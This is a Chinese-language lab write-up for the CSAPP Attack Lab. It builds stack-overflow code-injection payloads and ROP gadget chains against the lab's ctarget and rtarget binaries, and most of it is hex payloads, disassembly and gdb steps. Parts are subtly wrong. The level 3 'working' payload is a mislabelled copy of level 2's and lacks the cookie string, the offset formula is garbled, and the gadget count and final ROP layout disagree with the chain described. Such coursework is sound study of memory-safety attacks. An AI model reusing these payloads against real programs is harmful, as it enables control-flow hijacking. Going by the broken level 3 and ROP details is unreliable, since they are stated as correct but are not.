CSAPP实验3:Attack
预处理
对可执行文件进行反汇编
objdump -d ctarget > ctarget.s
objdump -d rtarget > rtarget.s
CI意为代码注入,在前三关中我们要在输入的字符串中添加我们自己的代码并想方法让程序执行我们的代码
第一关
函数"getbuf"反汇编代码:
000000000040167f <getbuf>:
40167f: 48 83 ec 18 sub $0x18,%rsp
401683: 48 89 e7 mov %rsp,%rdi
401686: e8 59 02 00 00 call 4018e4 <Gets>
40168b: b8 01 00 00 00 mov $0x1,%eax
401690: 48 83 c4 18 add $0x18,%rsp
401694: c3 ret
可以看到该函数一开始为栈分配了0x18个字节的空间
buf 的大小 = 0x18 = 24 字节
反汇编显示:
sub $0x18, %rsp ; 分配 24 字节 buf
mov %rsp, %rdi ; rdi = buf 起始地址
call Gets
所以:
rsp 指向 buf[0]
buf 长度 = 24 字节
中说了:
为了覆盖返回地址,你必须写满 buffer 和 saved %rbp。
这意味着:
只要填满:
24 字节 buf
接下来的 8 字节就会被你的输入覆盖成你想要的地址(touch1)。
再次查看反汇编代码:
0000000000401695
<touch1>:
所以 touch1 的入口地址就是:0x401695
说明文档要求用小端序写入地址
你写入的地址必须为 little-endian。
将 address 转成 8 字节小端序:
touch1 = 0x401695 → 95 16 40 00 00 00 00 00
所以创建了一个文件exploit1.txt
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
95 16 40 00 00 00 00 00
前24个字节用任意数填充,我用的41对应的是"A"
第25-32字节是前面分析得到的 95 16 40 00 00 00 00 00
bash
# 用 hex2raw 生成 raw
./hex2raw < exploit1.txt > ctarget.l1
# 运行 target
./ctarget < ctarget.l1
看到输出下列内容就说明第一关成功了:
Cookie: 0x3d9549ca
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS:
第二关
在第一关中我们已经可以修改函数"getbuf"的返回地址来让他返回到函数"touch1"了;第二关需要让程序执行你注入的代码,让它最终进入 touch2,并让 %rdi = cookie。
而实验要求中写了
前三个阶段,你的攻击字符串会攻击ctarget程序。程序被设置成栈的位置每次执行都一样,这样一来栈上的数据就可以等效于可执行代码。这使得程序更容易遭受包含可执行代码字节编码的攻击字符串的攻击。
调试获取栈顶地址(注入代码起始地址)运行:
gdb ctarget
break *0x40168b
run < exploit2.raw
p/x $rsp
实际得到的地址:
$rsp = 0x55654c98
这个地址就是:
- buf 的起始地址
- 也是你注入代码的执行起点
- 因此 覆盖返回地址时必须写入 0x55654c98
我们要让 getbuf 的 ret 跳到我们的代码,并执行:
- 给 rdi 赋值 cookie
- 然后跳转到 touch2
touch2 地址来自 disas:
touch2: 0x4016c1
cookie 来自 ctarget 输出:
Cookie: 0x3d9549ca
因此,我们需要的代码逻辑是:
pushq $0x4016c1 # 将 touch2 的地址压栈
movabs $0x3d9549ca, %rdi
ret
执行流程:
- 代码末尾执行 ret
- ret 从栈顶弹出值
- 栈顶是 push 存入的 0x4016c1 → 控制流跳到 touch2 开头
pushq $0x4016c1:
68 c1 16 40 00
movabs $cookie, %rdi(10字节):
48 bf ca 49 95 3d 00 00 00 00
ret:
c3
完整长度:
- push:5 字节
- movabs:10 字节
- ret:1 字节
- 合计:16 字节
getbuf 的缓冲区长度是 24 字节,因此还要用任意数补齐:
剩余 8 字节 → 用 nop (90) 填充
整个 payload 分三段:
第一段:前 24 字节(注入代码)
68 c1 16 40 00
48 bf ca 49 95 3d 00 00 00 00
c3
90 90 90 90 90 90 90 90
第二段:覆盖 getbuf 返回地址(buf 的起始地址)
98 4c 65 55 00 00 00 00
对应 little-endian 的 0x55654c98
第三段:push 指令需要的立即数,这里放 touch2 的地址
c1 16 40 00 00 00 00 00
这 8 字节会被 push 取走,因此必须放在 offset 32--39。
组合的最终 payload (可直接 hex2raw 使用)
68 c1 16 40 00
48 bf ca 49 95 3d 00 00 00 00
c3
90 90 90 90 90 90 90 90
98 4c 65 55 00 00 00 00
c1 16 40 00 00 00 00 00
使用 hex2raw 构造 raw:
./hex2raw < exploit2.txt > ctarget.l2
./ctarget < ctarget.l2
执行成功后会显示:
./ctarget < exploit2.raw
Cookie: 0x3d9549ca
Type string:Touch2!: You called touch2(0x3d9549ca)
Valid solution for level 2 with target ctarget
PASS:
第三关
第三关与第二关相同点:都是代码注入攻击,通过栈执行我们放进去的机器码。
不同点是:需要向 touch3 传递一个指针,指向我们放在栈上的 cookie 字符串。
要求构造一个攻击字符串,使 ctarget 调用 touch3,并将一个可打印的十六进制字符串的指针传入 %rdi,即最终执行:
touch3("your_cookie_string")
因此本关不再像 touch2 一样直接给寄存器赋值,而是要构造一个字符串放在攻击缓冲区中,并让 %rdi 指向该字符串的位置。
本关的难点在于:
- payload 中既包含机器码,也包含字符串,需要管理它们的相对位置
- 需要计算字符串在栈中的运行时真实地址
- 机器码部分要将该地址写入寄存器
%rdi - 返回地址要跳转到
touch3
整体结构如下:
[注入代码24字节][字符串内容][返回地址]
反汇编 touch3:
00000000004017ad <touch3>:
4017ad: 53 push %rbx
4017ae: 48 89 fb mov %rdi,%rbx
4017b1: c7 05 41 2d 20 00 03 movl $0x3,0x202d41(%rip) # 6044fc <vlevel>
4017b8: 00 00 00
4017bb: 48 89 fe mov %rdi,%rsi
4017be: 8b 3d 40 2d 20 00 mov 0x202d40(%rip),%edi # 604504 <cookie>
4017c4: e8 58 ff ff ff call 401721 <hexmatch>
4017c9: 85 c0 test %eax,%eax
4017cb: 74 2b je 4017f8 <touch3+0x4b>
4017cd: 48 89 da mov %rbx,%rdx
4017d0: be 00 2e 40 00 mov $0x402e00,%esi
4017d5: bf 01 00 00 00 mov $0x1,%edi
4017da: b8 00 00 00 00 mov $0x0,%eax
4017df: e8 0c f5 ff ff call 400cf0 <__printf_chk@plt>
4017e4: bf 03 00 00 00 mov $0x3,%edi
4017e9: e8 b1 02 00 00 call 401a9f <validate>
4017ee: bf 00 00 00 00 mov $0x0,%edi
4017f3: e8 38 f5 ff ff call 400d30 <exit@plt>
4017f8: 48 89 da mov %rbx,%rdx
4017fb: be 28 2e 40 00 mov $0x402e28,%esi
401800: bf 01 00 00 00 mov $0x1,%edi
401805: b8 00 00 00 00 mov $0x0,%eax
40180a: e8 e1 f4 ff ff call 400cf0 <__printf_chk@plt>
40180f: bf 03 00 00 00 mov $0x3,%edi
401814: e8 4b 03 00 00 call 401b64 <fail>
401819: eb d3
可看到 touch3 接受一个参数 %rdi 指向的字符串,需要和 cookie 的 ASCII 字符串匹配。
前两关一样,getbuf 的缓冲区是 24 字节:
char buf[24]
在 getbuf 的 ret 发生覆盖前:
24 字节用于代码
紧跟着的是溢出的返回地址 (8 字节)
所以结构:
00-23: 注入代码
24-31: 返回地址(覆盖 ret)
但本关还要在 payload 放字符串,因此字符串不能放在前 32 字节范围内,它必须放在后面,在我们控制的 payload 尾部。
为了狠狠注入数据,必须知道运行时 buf 的起始地址。
运行程序并在 getbuf 内打断点:
(gdb) break getbuf
(gdb) run < exploit3.raw
(gdb) p/x $rsp
输出:
$rsp = 0x55654c98
则:
- buf 的起始地址 = 0x55654c98
- 注入代码的起始位置就是 0x55654c98
我们将在第 24 字节之后放 cookie 字符串,例如从:
buf + 24 + 8 = buf + 32
开始的位置就是字符串存放位置。
根据前两关的经验,你最终用的地址为:
字符串地址 = 0x55654c98 + 24 + 8 = 0x55654cb8
注入代码目标:
- 将字符串的实际地址放入
%rdi - 返回到
touch3
因此我们需要:
movq $STRING_ADDR, %rdi
pushq $touch3_addr
ret
转换成字节:
68 c1 16 40 00 pushq $0x4016c1
48 bf ca 49 95 3d 00 00 00 00 movq $0x3d9549ca, %rdi(示例)
c3 ret
90 90 90 90 90 90 90 90 NOP 填充
然后是字符串部分和跳转地址。
最终工作 payload 为:
[24字节注入代码]
[字符串]
[覆盖返回地址→跳到注入代码]
68 c1 16 40 00
48 bf ca 49 95 3d 00 00 00 00
c3
90 90 90 90 90 90 90 90
98 4c 65 55 00 00 00 00 ← 字符串地址
c1 16 40 00 00 00 00 00 ← touch3 返回地址
实际执行时程序流程:
- getbuf 返回时跳到你注入的代码
- 注入代码执行 push 和 mov 指令,把字符串地址写入 rdi
- ret 跳到 touch3
- touch3 读到 rdi 指向的 cookie 字符串,判定成功
ROP
ROP意为面向返回结果的编程,在ROP的这两关中我们无法像之前那样自己编写指令并让程序执行,而是给我们提供了一个"farm",我们可以把程序导向"farm"中的已有的汇编代码
第二关
本题的任务与Phase 2相同,都是要求返回到touch2函数。
首先,要做的是把 cookie 赋值给参数寄存器%rdi,考虑将 cookie 放在栈中,再用指令:
c
pop %rdi
ret
就能实现参数的赋值了,当ret后,从栈中取出来的程序地址再设置为touch2的地址就能成功解决本题
在实验资料中给了张表:

其中,pop %rdi 对应的是5f, ret 对应的是c3
但是找遍了所有的指令编码,也没有找到 5f c3 在一起的情况出现,所以需要转变一下策略,用其他寄存器进行中转,用两个gadget
c
popq %rax
ret
###############
movq %rax, %rdi
ret
查表知,pop %rax用58表示,movq %rax, %rdi表示为48 89 c7。
找到了:
0000000000401873 <addval_385>:
401873: 8d 87 00 58 90 c3 lea -0x3c6fa800(%rdi),%eax
0000000000401858 <setval_422>:
401858: c7 07 48 89 c7 c3 movl $0xc3c78948,(%rdi)
分别存在 58 90 c3 和 48 89 c7 c3 由于90 代表的是nop,可以忽略
所以pop %rax;ret;的地址是401876
movq %rax, %rdi;ret;是40185a
同理填上payload
[padding 24 bytes]
[gadget1: popq %rax]
[cookie value]
[gadget2: movq %rax, %rdi]
[address of touch2]
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
76 18 40 00 00 00 00 00
ca 49 95 3d 00 00 00 00
5a 18 40 00 00 00 00 00
c1 16 40 00 00 00 00 00
第三关
与前一关一样,先来梳理我们需要干什么:
- 把cookie以字符串的形式放入栈中
- 把cookie的地址赋给寄存器%rdi
- 程序跳转到函数"touch3"
第1步和第3步没什么难的,这样的事我们已经做过好多次了;关键在于第2步,由于程序采用了栈随机化,我们根本不知道放进去的字符串的地址,只有可能知道它与寄存器%rsp中存储的栈顶地址的相对距离。其实基本可以确定:我们要用寄存器%rsp中的值去计算得出我们的字符串存储的位置
那这样的话我们的指令大抵要完成三个内容:
- 记录某个时刻程序寄存器%rsp的值(某时刻的栈顶地址)
- 对那个栈顶地址进行某些计算得到cookie地址
- 将cookie地址赋给寄存器%rdi
第一步
如果我们能直接 movq %rsp,%rdi那肯定是最方便的,但是farm中以%rsp为源寄存器的指令只有 movq %rsp,%rax,那么我们就只能先把寄存器%rsp的值存储在寄存器%rax中
注意 ,这时因为已经进入了第一个gadget,寄存器%rsp的值与在函数"getbuf"时已有不同;若仍以在函数"getbuf"中保存我们输入字符串的起始位置为0的话,第一条指令执行完毕后保存的寄存器%rax的值为0x20(相对地址)
第二步
我们要想办法计算得到cookie字符串的值,就要解决一个问题:加法。题目并没有给出add指令的二进制码,那我们该怎么实现呢?我想了好久,就在我漫无目的的翻着farm中函数时,找到了惊喜:

这不就是rax = rdi + rsi么?那接下来我们要做的就很明确了:把cookie相对0x20的偏移量和0x20对应的绝对地址放进寄存器%rdi和%rsi中
先讨论偏移量怎么算吧:
到目前为止,我们还没有确定cookie到底放在我们输入的哪里也就是栈的哪个位置,按照CI时cookie存放的经验,应该是放在我们输入的字符串的结尾。那就先设cookie相对0x20的偏移量为n吧
假设我们一共会用a个gadget,其中有b个gadget有pop相关操作,那么应该有
n = 8 ∗ ( n − 1 ) + 8 ∗ b + 8 = 8 ∗ ( n + b ) n = 8*(n-1)+8*b+8 = 8*(n+b) n=8∗(n−1)+8∗b+8=8∗(n+b)
其中 8 ∗ n 8*n 8∗n是第一个gadget之后所有gadget的返回地址要占用的空间; 8 ∗ b 8*b 8∗b是pop出去的数据所要占的空间; 8 8 8是函数touch3地址所要占的空间
具体计算步骤
-
movq %rsp, %rax89 e0 c3
0000000000401932 <addval_479>: 401932: 8d 87 48 89 e0 c3 lea -0x3c1f76b8(%rdi),%eax 401938: c3 ret -
movq %rax,%rdi
将第一步中保存的栈的地址赋给寄存器%rdi
48 89 c7 c3
0000000000401858 <setval_422>:
401858: c7 07 48 89 c7 c3 movl $0xc3c78948,(%rdi)
40185e: c3 ret
popq %rax(提供的pop指令只能pop到%rax)
把cookie的偏移量赋给寄存器%rax
58 c3
000000000040185f <setval_219>:
40185f: c7 07 98 d2 58 c3 movl $0xc358d298,(%rdi)
401865: c3 ret
movl %eax,%ecx
这时我应该 movq %rax,%rsi,但是farm中未给出相关操作,所以3-5步就是曲线将寄存器%rax中的值转移到%rsi中
89 c1 c3
00000000004018ae <setval_231>:
4018ae: c7 07 89 c1 08 db movl $0xdb08c189,(%rdi)
4018b4: c3 ret
在地址4018ae处,setval_231的值为0xdb08c189,对应字节序列:89 c1 08 db c3
- 从
4018b0开始执行:89 c1=movl %eax, %ecx,然后是08 db(or %bl, %bl,无害指令),最后是c3(ret) - 使用地址:
0x4018b0
movl %ecx,%edx
89 ca c3
00000000004018a1 <addval_245>:
4018a1: 8d 87 89 ca 20 c0 lea -0x3fdf3577(%rdi),%eax
4018a7: c3 ret
在地址4018a1处,addval_245的值为0xc020ca89,对应字节序列:89 ca 20 c0 c3
- 从
4018a3开始执行:89 ca=movl %ecx, %edx,然后是20 c0(and %al, %al,无害指令),最后是c3(ret) - 使用地址:
0x4018a3
movl %edx,esi
89 d6 c3
00000000004018c9 <getval_301>:
4018c9: b8 89 d6 20 d2 mov $0xd220d689,%eax
4018ce: c3 ret
在地址4018c9处,getval_301的值为0xd220d689,对应字节序列:89 d6 20 d2 c3
- 从
4018cb开始执行:89 d6=movl %edx, %esi,然后是20 d2(and %dl, %dl,无害指令),最后是c3(ret) - 使用地址:
0x4018cb
lea (%rdi,%rsi,1),%rax
计算出了cookie地址并存储在寄存器%rax中
0000000000401887 <add_xy>:
401887: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
40188b: c3 ret
所以完整的ROP链是:
1. movq %rsp, %rax -> 使用 0x401934 (来自 addval_479)
2. movq %rax, %rdi -> 使用 0x40185a (来自 setval_422)
3. popq %rax -> 使用 0x401863 (来自 setval_219)
4. cookie偏移量
5. movl %eax, %ecx -> 使用 0x4018b0 (来自 setval_231)
6. movl %ecx, %edx -> 使用 0x4018a3 (来自 addval_245)
7. movl %edx, %esi -> 使用 0x4018cb (来自 getval_301)
8. lea (%rdi,%rsi,1),%rax -> 使用 0x401887 (add_xy)
9. movq %rax, %rdi -> 使用 0x40185a
10. touch3地址
第三步
把cookie地址赋给寄存器%rdi
因为在前一步cookie地址已经被存储在寄存器%rax中了,所以这一步要实现的就是简单的 movq %rax,%rdi,在farm中就有,直接用就行
这三步结束之后,我们得知一共要用8个gadget,其中有1个是pop操作,那么n的值就是 8 ∗ ( 8 + 1 ) = 72 = 0 x 48 8*(8+1)=72=0x48 8∗(8+1)=72=0x48
最后的字节序列:
assembly
# 字节0x00到0x17只要不输'0x0a'就无所谓,用不到
0x00 - 0x0f: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10 - 0x1f: 00 00 00 00 00 00 00 00 'movq %rsp,%rax' 00 00 00 00
0x20 - 0x2f: 'movq %rax,rdi' 00 00 00 00 'popq %rax' 00 00 00 00 00
0x30 - 0x3f: 48 00 00 00 00 00 00 'movl %eax,%ecx' 00 00 00 00
0x40 - 0x4f: 'movl %ecx,%edx' 00 00 00 00 'movl %edx,esi' 00 00 00 00
0x50 - 0x5f: 'lea (%rdi,%rsi,1),%rax' 00 00 00 00 'movq %rax,%rdi' 00 00 00 00
0x60 - 0x6f: 函数touch3地址 cookie字符串